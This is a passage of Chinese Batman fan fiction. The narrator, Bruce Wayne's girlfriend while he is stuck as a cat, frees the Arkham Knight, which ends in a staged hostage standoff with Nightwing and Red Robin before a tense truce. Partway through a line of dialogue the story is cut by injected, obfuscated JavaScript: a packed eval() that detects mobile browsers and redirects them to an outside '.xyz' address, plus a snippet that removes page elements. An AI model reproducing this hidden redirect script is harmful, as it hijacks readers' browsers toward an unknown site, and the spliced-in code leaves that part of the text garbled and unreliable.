声音卡在不上不下的位置,我忽然意识到我从没有考虑过要把自己的计划向他们任何人和盘托出,我不喜欢被反对、被质疑、或是被施加过多的期待——先斩后奏才是我的常态,哪怕事后会遭到责骂,但该做的都做完了,别人再不忿也无法改变结果。 等不到下文,德雷克仰起脸,睫毛的投影与瞳孔融为一体,显得他神情柔和,着实提不起他人的警惕心:“是因为我不值得你信任?……也对,昨晚还要麻烦你照顾我到退烧。” “那不是因为潘尼沃斯先生腾不出手吗?”他的消沉令我头皮发麻、脊背僵硬,连梳毛都战战兢兢换了一面,“我好歹名义上也算长辈,不然你以为我有那么多闲工夫管和我不相干的人?” “……所以,你是考虑到未来有和布鲁斯结婚的可能性,才留下来帮忙的?”若有所思地抛出这句重磅炸弹,德雷克好像不觉得他说了什么可怕的东西,眼神带着探究。 “你想到哪里去了?”我倒吸一口凉气,瞥了眼猫,没法当着男朋友的面直接说自己是不婚主义者,只觉得眼下情况令人头疼。 “听着,德雷克……说这话可能会显得我有些自作多情,但我认为你是大宅里除了布鲁斯外和我最合得来的那一个。” 他微微睁大了眼睛,手上动作也跟着停住,惹得大猫不满地咕哝。 “那是什么表情啊,要换格雷森现在在这,我连跟陶德说两句的机会都没有,”韦恩大哥生怕对方再给我戳出个血窟窿,“布鲁斯大概和你们说过要多照顾我点什么的,现在他不在,格雷森或许觉得身为大哥就要把一家之主的责任都担下来,我和他多说两句肯定容易产生分歧。” 这个想法没有被德雷克否认,他似乎想通了什么,把梳子上的浮毛拿下来,见我伸手去要,又放到我手心里。 “我是你的保险……万一在你和阿卡姆骑士谈话间发生什么意外状况,我可以及时提供支援。” “没错,否则我大可以在你们睡觉的时候一个人去见陶德,”我挑起眉,把收集的猫毛放在桌上,那里已经垒起一座“毛毛山”,“现在还妄自菲薄吗?” 我们对视一眼,他偏过脸,神色虽称不上松快,也没有之前那么阴云密布。 “我只是觉得,要是提前商量过,就不用你揭开伤疤去达成目的。” 很难形容我听罢后内心的感受。 即使行为逻辑上再怎么合拍,我好像都无法像德雷克那样自然地把这种话说出口。他很有同理心,这或许也是成为义警必须的素质。 “别介意这些……事实上也没那么糟糕,我不说得夸张点怎么挑起陶德所剩不多的愧疚。” 我真心实意地安慰他,生活本就不会让人顺心如意,再加上骑士都把他们杀了,以后没机会找我寻仇,整件事解决得很利落,我对杰森·陶德的观感甚至算不上差。 当然,是建立在他能为我所用的基础上。 不过我难得的实话效果却等同于无,德雷克看了我两眼,而后叹了口气:“那么接下来呢,陶德或许会告诉我们一些线索,但究其根本他也是被排除在外的,靠他引出稻草人的可能性很小。” “……关于这事我有点想法,陶德和我们的诉求可以达成一致,等布鲁斯变回来再处理他也不迟,但具体要怎么正确使用这个大杀器,还需要和你们商量。” 21.21 身边有人在哥谭当义警的好处——能掌握不经过媒体润色的一手消息。 距离稻草人向医院投毒后又过了将近三十小时,军方已将整片钻石区划作疫区,隔离带延伸至近海;部分民众在莱克斯企业的捐助下选择去近邻的大都会避难,载客大巴24小时连轴转;对于变异动物的抓捕也在继续,神奇的是我的编辑竟然在第一批被捕获的名单里——至于失踪人员虽然没有统计完成,但就目前情况来看,包括罗宾逊学院的几位学生在内,还有少数名流政客也极可能成了在疫区徘徊的动物成员。 水深火热的哥谭在网络上也引发了一场舆论战,从阴谋论病毒根源到组织人手去隔离带边缘抗议军方暴力执法,不得不让人佩服这些人的活力。 义警们在这数十小时中都没睡过,又多在疫区内部活动,纵使再小心也出现了减员现象,再加上还有部分成员因原本任务抽不开身,不可谓不捉襟见肘,对稻草人等的搜索进展不大。 在这样的大前提下,我并没想到自己的提案会遭到夜翼毫不留情的否决。 说不出内心的滋味是不是沮丧,我站在透明牢门前,看着自己送进去的食水被又一颗大黑脑袋嗅闻,忽地意识到这个城市的义警还挺多黑头发的。 这只黑毛蓝眼的大豹子仍是狰狞地龇着牙,丝毫没有想要碰上一口的意思,十字架项链在皮毛里闪闪发光。 蝙蝠洞的牢房喜迎一位新成员,正是在夜巡中不慎被咬伤的女猎手(似乎是事务繁忙,她没来得及注射恐惧血清就受了伤)。 虽说同为猫科动物,待在我身后的两只黑猫保镖却没有表现出什么同类相亲,反而满目警惕,尾巴压低。关进去时还戴在豹子嘴上的束缚带已经被扯了下来,她森白的齿尖有涎水和血液滴落,混进盛放食物的盆中。 我对猎手的印象仅仅停留在频道里略显冷淡的女声,自然无法像信任男友那样毫无防备地接近对方。 “我把吃的就放在这,现在会帮你把灯关上……” 黑豹敌意不减,即使我关灯的动作相当缓慢,她仍是在半途冲上来,撞在玻璃上留下两道血痕。身后两只猫也即刻发出威胁的低吼,我只得速战速决,把牢房的白灯关上,然后及时进行顺毛安抚。 老实说他们俩在这只会帮倒忙,但自从上次和骑士的对峙后,大猫就说什么都不愿意让我一个人待在牢房旁了,为此还拽儿子过来一起当保镖。 单手摸两猫有些辛苦,尤其是人还不能厚此薄彼,哪一只少摸了几秒都会拖长音大叫。我哄着亲着姑且是把一大一小带离了猎手的牢房前,就听见隔壁传来一声哄笑。 转过眼,里面的囚犯额前白毛还竖着,脸倒是被精装的《暴风雨》遮得严严实实,只能看见金属书签的鲜艳绳结。 ……这家伙。 吹掉鼻尖的猫毛,我本就心里装着事,此刻更是不愿再给自己找不痛快,抬腿便要下楼。 刚迈两步,书籍后有人开口说话:“能把黄金男孩惹成那样,你也挺有本事。” 骑士说的是十几分钟前我和格雷森不欢而散的争论。 这并非是一天半来我第一次与他讨论正事。格雷森哪里都很好,唯独这过重的保护欲令人吃不消——不就是提出想假扮一下俘虏让骑士带着联系稻草人,把他们的藏身地吊出来,我搞不明白为什么他宁愿多花数小时在外面也不愿用几分钟仔细听听我的计划。 更糟糕的是,他还特意转走了德雷克对牢房门的开关权限,彻底杜绝自家弟弟被我撬动的可能。 见我定在原地,猫也跟着停下。 “要是你看腻了莎士比亚,我可以给你带别的书。” 烫金封皮被手指猛地合上,青年终于舍得露出脸来,眼珠在动物身上转了一圈,最后落到我这:“……带什么?《呼啸山庄》还是《高龙巴》?” 这是在抱怨我带的书全是以复仇为主题了,我还以为他会很喜欢看这类小说呢。 考虑到待会儿的日程,我没有正面回答这个问题:“看心情吧,阶下囚是没有选择余地的。” “那你今天的心情可真糟。” 扬了扬手里的书,骑士面无表情,仿佛只是简单地陈述事实,“选它就是你的恶趣味。” 给一个复仇使者看结局为宽恕的小说着实算不上什么舒心之举,为了欣赏对方接过书时的那点不快,今天的晚餐还是我亲自送的。 我保持微笑:“现在我知道你对米兰公爵(《暴风雨》的主角)的看法了,睡前我会来换一本的,书房靠窗那排进了不少新书。” 客套话没有得到回复,骑士倒是一直盯着我的脸,虹膜像两块碎裂的酒瓶玻璃。我心中稍感神奇,这似乎是我初次见他没被怒火笼罩的模样。 分明能挑起他情绪的猫就在旁边虎视眈眈。 若不是想趁着义警们还在夜巡期间干点什么,我估计会坐下来和对方聊会儿天,我对取材对象的兴趣始终浓厚。 微微颔过首,我便推着猫父子往楼下走,大只佬还有点不愿意,尾巴在地上甩了两下,这才跟上我的步伐。骑士没有再开口叫住我,我估摸着他许是从我和格雷森的争论里猜出我想做什么,那种略显反常的态度也不好判断他对此事是赞同还是反对。 不管了,我就不信他会在有机会出笼时乖乖待在牢里不动。 . 哥谭的天在破晓前黑得犹如能滴下墨汁。 等待令霜露粘湿发梢,我在来之前尝试了很多次,最终勉勉强强把长发盘起,远远没有戈登离开前那天给我束得紧实。 耳后隐隐有气流涌动,我有所预料地回过头,果不其然撞进一双充满野性的蓝绿色眼睛里。骑士推开了书房的窗,注视着花圃里的我,没有急着跳下来。 若非时机不对,我可能会开口叫他一声朱丽叶。 “该走了,还有三分钟备用电源就会启动。” 格雷森大概没想过我会在他们休息后直接切断整座韦恩庄园的供电,即使时间很短,但拿到金属丝绕成的书签对阿卡姆骑士来说已经足够,他只花了数秒就打开牢门,跟着我的提示一路来到了这。 随着我旋身要走,脚下的草地也传来物什落地的轻响,我顺势拎起地上的背包递过去,身后人一言不发地接过,“你的装备,重死了。” 沿着花圃走向围墙,骑士在我的余光里简单拉开拉链看了一眼,眉弓遮住了眼里的情绪,声线倒是一如往常: “猫呢?” 我没回答,评估着他会直接动手击晕自己,一个人逃之夭夭的可能性。 不,用人不疑,更何况现在最要紧的是从庄园离开。 “锁房间里了。” 开口的几秒里,我内心的负罪感也悄悄冒头。既然要扮演俘虏,身边带着“保镖”也太容易穿帮——反复在内心说服自己这么做的必要性,我刚想伸手触碰围墙,右肩就被骑士用手攥住。 对方声音低沉,示意我去看几步之遥的造景灌木:“要我说,你就该确保他们是睡死了。” 天光为来人的卡里棍尖染了层银,我心中暗道不妙,本能把阿卡姆骑士往身后拽,他顺从地挪了挪脚,嘴上却不停,“……非要这么此地无银三百两吗?” 都什么时候了,身为逃犯还有空和我显摆他的中文谚语句库!我迅速回头瞪了他一眼,青年垂着睫毛看我,却很快抬起眼睑,视线聚焦在走出阴影的义警脸上。 夜翼神色冰冷,手中武器仿佛随时都要脱手而出。 他念了我的全名,音节里结了冰碴子:“别让我重复第二遍,从他身边离开。” 这字字句句都有危险信号在叫嚣,我更不可能轻举妄动,摸索两下抓住骑士拿包的手,确保他不会从里面掏出枪来。 我和夜翼只间隔几寸草坪,他没有戴多米诺眼罩,情绪一览无遗,一双蓝眼死死盯着我的动作——立刻我就意识到他大概是有所误会,忙不迭解释道: “我知道断电是我不对,格雷森,你先别急着生气,把棍子放下我们好好聊聊——” “聊什么?谢谢你没有真的在我的蔬果汁里下安眠药?” 他那头卷发张牙舞爪地怒着,从开口直接打断我的迫切来看,我是彻底把好好先生格雷森惹毛了,甚至我都没法做出有力反驳,因为我的确这么想过。 与他相对的,身后的逃犯用一种事不关己般的口吻火上浇油:“真是温柔,你要是拿出之前往我脖子上扎麻醉剂的气势也不至于被他拦在这。” “闭嘴吧你!” 眼见夜翼把武器握得更紧,我咬牙切齿地踩了骑士一脚,他连闷哼都没发出来,倒能感觉他的三根手指在我的掌心里转了一下。 我本就防着这人甩开我直接跑路,不由更加用力,这才让他勉强消停。 “听着,格雷森,”终于能把大半注意力重新倾注到夜翼那边,我微微吸了一口气,“我完全明白你为什么生气,你希望用你的方式去解决目前的困境,我非常支持,不然我大可以撂挑子不干,把所有事都推到潘尼沃斯先生一人肩上。” 情绪是能传染的,我试图用理智干涉格雷森的怒火,但他依旧绷紧了浑身肌肉,言不留情: “但你在我几次三番的拒绝下仍选择阴奉阳违,”义警眉头揪在一起,“……难道你没有意识到你在包庇一个差点杀死你的暴徒吗?比起他,你才是需要帮助的那一个。” 格雷森的观点很难被全盘否定,早在我第一次把提案摊到他面前时,他便用一个全新的角度堵得我一句话都说不出。 他认为我对加害者产生了部分的情感认同——也就是俗称的斯德哥尔摩综合症。 基于此,我才能相信帮助阿卡姆骑士脱离困境后,他也能反过来帮我抓住稻草人。 “我们聊过这个的,”义警又用他惯常的柔和口吻喊我的名,“你答应我会去预约一下心理疏导,我难以想象你还会切断整座庄园的供电就为了助他脱困。” 那只是迫于情形不得不服的软,我这辈子都不想再踏进任何一间治疗室的门。 面对格雷森愤怒却暗含担忧的眼神,我的手心有些微微发汗,和我直接接触的骑士一定感觉到了这点,对方的手掌比我要大上一些,他又在小幅度摆动自己的手指——如果他硬要挣脱,单凭我的力气是无法阻止的。 所以我真的对身后人产生了点自己都没意识到的依赖?我把他当做是最好的取材对象,以及当时莫名其妙冒出来的勾引念头都是因为…… “黄金男孩非常擅长说服别人,这是他的天赋。” 骑士低低的呼吸吹拂过我的耳畔,敲在思绪的中间将其拦腰截断,“不过仅此一次,我会认同他,因为我自己都不明白你怎么敢连猫都不带就和我走在一起。” 密密麻麻的鸡皮疙瘩从那一小片皮肤扩散到整个后背。 指尖打了颤,我忽然又觉得异性的手有些滚烫,像是捏了把烙铁在手心,还不能放。 大抵是我僵在原地的肢体动作被当成了恐惧,格雷森上前两步,似乎是想把我拉到他那边去。 “杰森,她不是你该恐吓的敌人,你想要复仇也好,发泄也罢,一切都冲我们来。” “又不是我强抓着别人的手不放。” 虽然语气恶劣,骑士却没有对义警的接近表露出任何排斥,手指还是塞在我的虎口,像是在等待桎梏主动离开。 也是这短短瞬息,我重新吸了口气,侧身躲开了格雷森的蓝手套。 他好像没料到我会这么做,愣神的同时我们都听见了围墙那发出电流的滋滋声,看样子没睡的不止夜翼一个。 庄园的供电恢复意味着想要从墙上翻出去已是不可能,除非人想试试被电网烧焦的滋味。 往好处想,起码不用担心骑士简简单单就逃出去了。 我犹豫几秒,却没有就此松开对方的手指:“我找不到百分百的证据反驳你的观点,格雷森,但有人曾这么跟我说——恶贯满盈的罪犯也有被善心触动的可能,我之所以能从陶德那活蹦乱跳地回来,是他没有忽视那一点可能。” 余光拽着视线飞到骑士的疤脸上,他在眨眼间回避了我的凝视,白发狼狈地歪向一边,从不说好话的嘴张了又张。我可不敢再让他打乱我的节奏,一边抢白,一边又望向目露惊讶的格雷森。 “我们现在有相同的目标,共同的敌人,管他之后会不会再找布鲁斯麻烦,能合作共赢的事拒绝了才是傻蛋——大不了之后你们几个群殴他一个,总能再关回来的。” 说话太快的后果是言辞过分直白,“被群殴”的那个不爽地咋舌:“你怎么肯定我会答应?把你丢给那帮人渣你能被吃得骨头都不剩,我可没有给他们送免费自助的癖好。” “所以你的确有办法联系到他们。”揪到他话语里的信息量,我更不愿放手,哪怕这块陶德牌烙铁能把皮肉烧穿也要握牢了。 对方面对我望过去的期待,眉毛也开始打结:“你%#@重点在这?” “不然呢?你身份便利,身手够好,脑袋也聪明——把我当饵料一抛,再配合两只鸟肯定能吊到稻草鱼,”我对他的唱反调感觉莫名其妙,唯一能想到的理由就是这家伙不愿意和义警共事,“他干的事明显和你对哥谭的计划不符,还把你踹了同别人合伙,你难道能忍得下这口气?” 骑士怎么可能忍得下这口气,单看他额头跳动的青筋就知道,可我不明白,为什么自己已经把话说到这个份上他仍紧抿着唇,而且反过来把我的手捏得发痛。 心中大叫后悔,我不动声色地抽了抽小臂,愣是半点没抽动。 格雷森正是踩着这须臾的沉默开了口。 “他是在担心你的安全。” 他的话落在我耳里成了天方夜谭。 我没忍住瞪圆眼觑着右边的义警,对方完全不像在开玩笑——这下遭了,难不成是前两天为了利用骑士的愧疚把话说得太过,现在起了反效果? 目光转回左侧的下一秒,与我正好对视的蓝绿色眼睛里盛着些许难堪。纠缠在指尖的力度蓦地卸去,他把背包勾到肩上,再不理会我的视线: “少在那边妄自揣测,我是嫌她拖我后腿。” 被弟弟呛声的夜翼没有反唇相讥,卡里棍终于不再朝着人,而是垂在他的大腿两侧。他那么擅长捕捉他人情绪,自然也看得出我不再多言是为什么——陶德说到了点子上,我很容易成为他们的累赘。 “他自己这么说了,为了你的身体状况和安全考虑,还是留在庄园吧。” 格雷森的蓝手套轻拍我的肩,力度和他的嗓音一样温柔,隐约透出点疲累。 再僵持下去也不会好转的,我深知这点,却犹不死心,把眼神钉在骑士脸上:“你还想和格雷森打上一架是不是?” 他用指节蹭了蹭包带:“你看迪克那样子像是会放我离开吗?” 唇舌翕张间,逃犯飘忽如鬼火的眼珠终于舍得挪回我眼里。我原以为他会迫不及待去拿自己的武器,可骑士只是站在原地,仿佛我这副身板真能把他全部遮在身后似的。 “先回去,好吗?”夜翼稍稍用上些力气,想要把我从攻击范围里拉开,“就当是让我单独和杰森谈谈。” 骑士咧了一下唇,作势也要掏枪。 空气中清新的草木气味逐渐灼烧成不可见的硝烟,就在我准备豁出去掏夹板里藏着的电击器时,大宅方向猛地爆发出玻璃碎裂的巨响。 这一变故吸引了所有人的注意,我稍一愣神,就见视野里多出了一头迅速靠近的黑影,紧跟着似虎豹的啸声,短短数秒就快要扑到我们跟前。 “布鲁斯?!” 看出大猫状态不对,格雷森即刻甩了个棍花迎了上去。骑士低低的咒骂伴随着持枪上膛的清脆声响,我想也不想便压住他的手,加上整个身体的重量把人硬是往旁推去。 “疯女人!”他被我一打岔,没装稳的弹匣叮叮当当撒了一地,“那只老头猫就是冲我来的,你凑什么热闹?!” 我没工夫和他拌嘴,强硬地把人护在身后。卡里棍的钩索十分灵巧,配合着夜翼在巨猫身上缠了几圈,险险把动物控制在几尺开外。大猫此刻凶相毕露,利爪刨住地面,在草坪割出深深的伤口,我甚至从那双竖瞳里读出了恼火和质问。 “不关陶德的事!”苍天保佑我身后的家伙别再作出任何挑衅之举了,“把你关在房间里是我不好,但这是必须的,布鲁斯,你们俩撞在一起就容易爆炸!” 那厢鞋底都要磨出火星子的夜翼声音好似见了鬼:“你知不知道这样做百分之一千能惹恼蝙蝠侠?!” “我能怎么办?!”一边挤着骑士往后退,我整个人都在大猫的凝视里寒毛倒竖,“你没见过之前布鲁斯应激的样子,我真怕他一爪子下去给陶德干开线!” “……我在你眼里就这么弱不禁风?” 身后人和我紧挨着,连喉咙里的咕噜话都听得分明。我发力掐了下他的虎口,内心却好歹松快些——起码这火药棒子没冲到我前头去和猫单挑。 而大猫似乎意识到我铁了心拦在中间,逐渐收减了力道,改为蓄势待发的踱步。我估计他是撞破阳台的窗户跳下来的,毛里还夹着亮晶晶的碎片,我的心也跟着乱糟糟地打起结来,一半是担心猫有没有受伤,另一半又害怕他真的会生自己的气。 万幸又有人循着动静往这边赶,德雷克身后跟着达米安,围墙一隅愈发热闹。 “怎么回事?”红罗宾上前就帮着大哥抓住钩索,眼神在我跟骑士身上晃了一圈,“我还以为你能把她劝回去。” 这回我知道为什么格雷森能出现得如此及时了:“好啊,就是你这只坏鸟和大哥告状!” “……介于你之前先斩后奏的行为,我很担心你会一声不吭跟着骑士离开。” 他的语气冷静而理智,思维模式相近也有这么点不好——德雷克很容易猜出我的成算。 而趁着我们二人打嘴仗的空隙,更小只的黑猫已然匍匐在地上,借着灌木的阴影朝我身后的骑士靠近。直到他绿眼睛的反光在视野边界擦过,我才勉勉强强反应过来,但再要去拦已经来不及了。 冷空气猛灌入肺的同时,始终被我扣住一只手的逃犯倏地动了。 不知何时,他的枪重新满匣,金属冰凉的嘴唇吻上我的太阳穴,上膛声极轻,却如休止符般制住了所有人的动作。 可怕的阒静里,恶人在我耳畔笑出了声: “这招永远是最管用的,是不是?” “杰森·陶德!”夜翼混杂着不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472249|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置信的怒音代表了所有义警和猫的心声,“我以为你至少还残存着一点良知!” 在子弹的威胁下,动物和人类都谨慎地没有再靠近,骑士很满意“家人”的识趣,他和我彼此死死交握的手反而成了他控制我的一环。 被枪口抵住的神经突突跳着。 “你只能怪人质太喜欢我了,这种好机会是个绑匪都会手痒的。” 似曾相识的邪恶声线令我一瞬仿若回到了当时的铁笼中,骑士慢条斯理地往墙边又挪了几步,我被迫后退,肩胛骨紧贴对方胸膛——出乎意料,他的心跳并不激烈,完全不像正处于兴奋状态的暴徒。 “真可惜猫的脸表情不够丰富,”他畅快地再次笑着,“否则看你咬牙切齿会是种享受,布鲁斯。” 大猫膨胀的长毛几乎令他成了只巨大的、低嚎着的怪物,瞳仁在蓝色的暴雨中疯狂地发抖,兽性从裸露的尖牙上泛出光泽,我从没见过布鲁斯变成这样,终于意识到自己鲁莽的出逃对于他来说有多荒唐。 必、必须要想办法补救才行。 自尾椎骨有寒颤窜进天灵盖,我蓦地吐出一口气,恍惚间都听不清义警们又说了些什么,只知道自己的牙齿上下打架得厉害,花了数秒才勉强止住颤抖。 骑士明显也感觉到了人质的小动静,但他反而把沙/漠/之/鹰抵得更紧: “现在去把防护电网撤了,你们也不想看她漂亮的小脑袋开花吧?” “你简直无可救药。” 再也不想和逃犯多说一个字,夜翼说着微微抬手,红罗宾接收到示意,有些不甘心地看了眼旁边焦躁甩尾的达米安,最终还是点亮了臂铠上的微型电脑。 电网绝对不能撤,我承受不了把阿卡姆骑士放跑的罪责。 可右手腕才翻转一寸,骑士的虎口便铁钳似地用力挤压,即使早些时候打了点吗啡,我依旧忍不住闷哼一声。 “别想着去拿你腰带里的玩意儿,这东西我熟得很。” 他对待我时的语气甚至比方才更差。 这算什么?因为我看起来是十足的软柿子,他每次都忍不住想捏一把? 阿卡姆骑士似乎将我当成了和他家人差不多的角色,无论格雷森他们嘴上再怎么斥责他,都宁愿把他关在蝙蝠洞好吃好喝地伺候着。我从中判断着布鲁斯对他的态度——哪怕没见过他们会如何相处,但男友过去因养子去世而持续的痛苦我一清二楚,加之我与骑士确实有过一些交情,这才一而再再而三地愿意给他机会。 可结果呢,我的猫现在被他反复无常的疯狂和我的纵容逼到了极限。 “你为什么偏要这样?” 与质问一同脱口而出的并非生命遭受威胁的惊恐,而是权威被反复挑衅的愤怒。 “因为我会利用我能利用的一切来达成我的目的,”骑士的嘴唇就在我后脑勺能够到的位置,“而且我看见面前这几个人的嘴脸就想吐。” “……好。” 韦恩庄园的大宅朝向东方,隐约有几缕日光从轮廓线缓缓吞噬着浓重的夜色。 包在夹板中的左手压根没法大幅度活动,但我仍是握紧了电击器,朝时刻注意着这边情况的义警们使了个眼色。 红罗宾即将按下去的手指开始蜷曲。 “那你开枪。” “…………什么?” 见骑士好像没能反应过来,我好声好气地又重复了一遍,“我说,扣动你那该死的扳机,让我的血溅你一身。就像你对那两个绑架犯做的一样。” “别刺激他!”急转直下的发展打了夜翼一个措手不及,他几乎都要冲过来了,却在迈步后硬是停住,“我们会打开电网放你——” “懦夫!”我一声爆喝盖过了格雷森的后半句话,“你倒是开枪啊,对你这种浑身都沾满罪孽的恶人来说多我一个不多,不是已经给过我一枪了吗?!你现在在发%#@&的呆!!” 说着我就扭身要去看阿卡姆骑士的脸,身后人呼吸一窒,急忙还想重新压制住我,枪口却是从我的太阳穴移开些许,我没多想便一个头锤击中他的下颚,趁着痛楚带来的些微迟缓,扬起左臂电在他持枪的手背上。 距离如此之近,我自然没有错过电弧闪光之前,他的大拇指已经重新扣上了保险栓。 “小心!” 混乱中不知是谁喊了一声。随着骑士松开枪,义警和猫同时冲了过来,我被一蓝一黑两只手套猛地扯到一边,大小猫按着逃犯的肩膀将他压在地上,发出了震耳欲聋的兽吼。 我的旧伤很显然再次崩开了,电击器拿不稳,被红罗宾及时接住,他和夜翼眼中的后怕和担忧被我有意掠过,直接发号施令道: “别让猫把人玩残了,陶德压根就没想过开枪。” 否则我根本不会这么轻易得手。 原本还想说些什么的兄弟两被我一句话堵住喉咙,最终神色复杂地对视一眼,德雷克还是选择留在原地,格雷森无意识般捏紧我的胳膊,随后放手去拽猫。 达米安一向很听大哥话,脑袋在父亲和格雷森之间来回嗅了嗅,犹豫着把爪子从二哥的脸上拿了下来。正在气头上的巨猫却没这么好说话,他冲大儿子咆哮一声,两只前爪已经扣进了逃犯的肉里。 狼狈躺在地上的骑士却没有反抗,从我这个角度只能看见他手指因疼痛而攥紧,他没有发出一点声音,连呼痛都不曾有。 在夜翼和布鲁斯低声细语的片刻,我抱住左肩,德雷克的手紧跟着扶在我弯下去的腰上: “我先送你回去休息。” “不要,”我一字一顿,牙关紧咬,“陶德这个杀千刀的必须得揍,你别拦着我。” 他与我恶狠狠的眼神对上,没两秒便败下阵来:“那我扶你。” 只是旧伤撕裂而已,又没什么大碍。我刚想拒绝,德雷克却没再给我这个机会,手掌轻轻推了一下我的后腰。 到底是火气未消,我不再和他计较,气势汹汹走向另一边的两人两猫。大的那只刚松了爪,夜翼按下卡里棍的机关,把坐起来的骑士结结实实捆了起来,见我和红罗宾过来,不由皱起眉: “你什么时候看出来杰森只是在装腔作势的?” 我满心满眼都是先教训那边低头沉默的坏家伙一顿,实在没耐心听老大哥说教:“你先等一下,等一下你想怎么教育我都行。” 格雷森再次噎住,但左看右看我都不像是要再放人逃跑的样子,一旁的德雷克也向他微微点头,于是让开位置。 我三步并一步冲上前,本想先摸摸坐着生闷气的大猫,结果布鲁斯直接扭过了头,只拿屁股对着我。顿时我更是气不打一处来,狠狠一腿踢中了阿卡姆骑士的胸口。 没什么阻力地,他被我重新踩回草坪里。 不等对方再开口,紧接着我就弯腰一巴掌扇在他的疤脸上。 “啪”的一声响亮而清脆。 我的手指有点发麻,可想而知是用了全部的力气。地上的青年歪过去半边脸,散乱的发丝遮住了眉眼,我只能看见他喘了口气,胸膛在脚下微微起伏。 “扮演十恶不赦的坏人好玩吗?” 陶德沉默,任由伤口逸散的血腥味发酵。 “老娘从头到尾都护着你,连男朋友都不带了,你就是这么回报我的?!真要挟持人质为什么不趁着电网还没开启直接动手?还三番两次恐吓我,怎么,想让我主动放弃,随你拍拍屁股走人——我告诉你杰森·陶德,承了我的情就得给我千百倍地吐回来,我就是把你电死在这也不会放你走!” 电击带来的抽搐并没有给他留下太多麻烦,毕竟是随手买的大路货。我一边后悔自己该直接用腰带里那支功率更大的,一边撑着膝盖用力呼吸——如此长篇大论的发泄对我来说向来是种负担。 “……我总觉得她现在是真能把杰森做成花泥……” “那我会负责递铲子的,迪克,你别上去,小心把你一起埋了。” “不是……我是看她有点站不稳……” 义警兄弟的窃窃私语我听得不是很真切,而余光里,两只猫正小心翼翼地打量过来。我闭眼顺了顺气息,直起腰又踩了下骑士的胸。 “少装死,说话。” 青年只舔了下干裂的唇瓣,终是舍得开口:“你真是个疯子,要是枪真的走火了……” 隐约有蓝绿色透过发丝的缝隙望了过来,他没有继续说下去,仗着这个角度背对着其他人,我牵起嘴角,扭曲着脸微笑起来。 “我因为你的那点善心再一次活了下来,杰森,你应该庆幸自己不是完全的药石无医。” 阴阳怪气的嘲讽换来了恶犬的正眼,他脸色苍白,欲言又止,我在那一瞬福至心灵,有种自己终于驯服了对方的成就感,心情由阴转暨,面上神色也跟着好看了几分。 “现在我们能好好谈合作了,是不是?” “……我会告诉你你想知道的,你要再想去送死,我就送你去。” 陶德语带倦意,还有深深的挫败感,但在片刻停顿后,他眨了一下眼睛,语调古怪,“还有,下一次你还是拿个指虎更好。” 看得出来,他非要让我不舒服自己才顺心,咬字轻飘飘的,只有距离最近的我才能听清,“你的巴掌扇得像调情。” 22.22 距离入夜还剩两小时不到,杰森·陶德手持木梳,面对手里的一捧黑发陷入沉默。 多数时候他都认为自己才是掌控局势的那一个,纵然棋差一招被关进蝙蝠洞,他也始终抱着些许隔岸观火般的幸灾乐祸。格雷森还是老样子,而继任他位置的德雷克比他想的更不抗揍,更别提根本不是人的猫父子——他的敌人们因诱变病毒的变异而焦头烂额,他用不了多久就能找到漏洞一举拿下他们。 然后,就有变数犹如闪电劈下,夺去了他在这场战役里的主导权,和她一起关在这不算宽敞的车厢里。 看得出那两只傻鸟有多在乎这位易碎品,若不是还有伪装需求,估计都能把她武装到牙齿。杰森的视线在对方紧身的作战服面料上微微游移,最终定格在女人受伤的左肩,他依旧记得那里血液喷溅时的温度。 “……”看起来快要睡着的梳头对象冷不防开口,语气淡淡,“要不我找个编发视频给你看看,学习一下?” “没必要。” 青年停滞的双手重新动起来。他早摸过女人的长发不止一次,初遇时他就觉得这样的长度是种累赘,但此刻却没说什么要她一刀剪掉的浑话,反而像对待登山时绑在腰间的绳索,让这些厚而黑的绸缎于手指间穿插连结,最后用发网和夹子牢牢固定,乍一看像朵开在她后脑勺的花。 她伸手摸了摸,转过来的脸擒着一贯的微笑:“你的手指好灵巧,谢谢。” 这语气搭配表情,多少令杰森觉得自己正被嘲讽着,但仔细再品,又感觉对方夸奖得真心实意。 他没法完全看穿她,糟糕的是,他认为自己已经被面前的黑眼睛洞察得七七八八。 老头子的品味永远都是这么奇葩。 车厢里重新静下来,前排的无线电播放着军方自卫队的动向,以及疫区里所有可能被截获的信号源。这辆坦克是他在前几天的动荡里保存最好的,能跟上蝙蝠车的动力系统,配有两挺高射机枪、两挺同轴机枪,以及一门中口径火炮——本是为了能肆意围堵蝙蝠车而制造的武器,现在却只能躲藏在角落,避免引发不必要的骚乱。 杰森早上在蝙蝠洞接受了清创和包扎,他虽然被猫挠伤,却没感染,仿佛是霉运终于走到了头。在他沾着酒精按在伤口上的同时,隔壁重新缝针的女人也在被老大哥严厉批评。 她认错态度良好,软和得与先前踩着他大骂的判若两人,杰森压根不意外格雷森会高高拿起轻轻放下,毕竟连他自己都被这女人骗得狠栽跟头。 但他仍觉不爽,找不到理由,情绪划作石子卡在胸腔,大部分时候都仿若无物,极少数的瞬间又会猛地刺痛血肉,彰显着微妙的存在感。 治疗过后便是情报分享和计划制定——平心而论,杰森很难说服自己这是一场小型会议。夜翼和红罗宾没能和他吵起来的原因一是期间阿福端来了他以前在大宅里常吃的点心(老人像是完全不知道他们清晨闹出的动静),二是一旁哄猫的女人会抛出些自己的意见和疑问,及时堵住从他嘴里喷溅的毒液。 蝙蝠洞维持着一种诡异的和平,最终他们也没能成功说服彼此接受自己的提议,三个人分成两派谁也不理谁,直到神谕的传讯在电脑屏幕上闪个不停。 芭芭拉表明她已然顺藤摸瓜找上了位于大都会市郊的一处实验室,十月十二日他们曾偷偷签收了一具来自哥谭的样本,也正是那天骑士带人突袭了星辰实验室,打伤红罗宾,零号病人自此不知所踪。 等天擦黑她就会潜入调查,正从国外赶回来的搅局者和遗孤也会尽快提供协助。 